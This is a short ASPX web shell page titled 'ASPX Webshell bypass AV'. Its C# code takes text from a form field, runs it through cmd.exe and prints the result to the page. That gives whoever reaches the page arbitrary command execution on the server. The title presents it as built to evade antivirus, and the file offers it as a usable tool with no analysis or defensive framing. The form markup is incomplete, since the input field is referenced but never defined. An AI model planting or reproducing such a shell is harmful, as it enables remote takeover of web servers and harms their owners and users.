<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="C#" runat="server">void Page_Load(object sender, EventArgs e){ }string myexec (string arg){ ProcessStartInfo mypsi = new ProcessStartInfo(); mypsi.FileName = "cmd.exe"; mypsi.Arguments = "/C "+arg; mypsi.RedirectStandardOutput = true; mypsi.UseShellExecute = false; Process p = Process.Start(mypsi); StreamReader stmrdr = p.StandardOutput; string s = stmrdr.ReadToEnd(); stmrdr.Close(); return s;}void mycmdEXE(object sender, System.EventArgs e){ Response.Write("<pre id='Response'' style='Z-INDEX: 104; POSITION: absolute; TOP: 70px'>"); Response.Write(Server.HtmlEncode(myexec(txtArg.Text))); Response.Write("</pre>");}</script><HTML><HEAD>ASPX Webshell bypass AV<title>ASPX Webshell bypass AV</title></HEAD></HTML>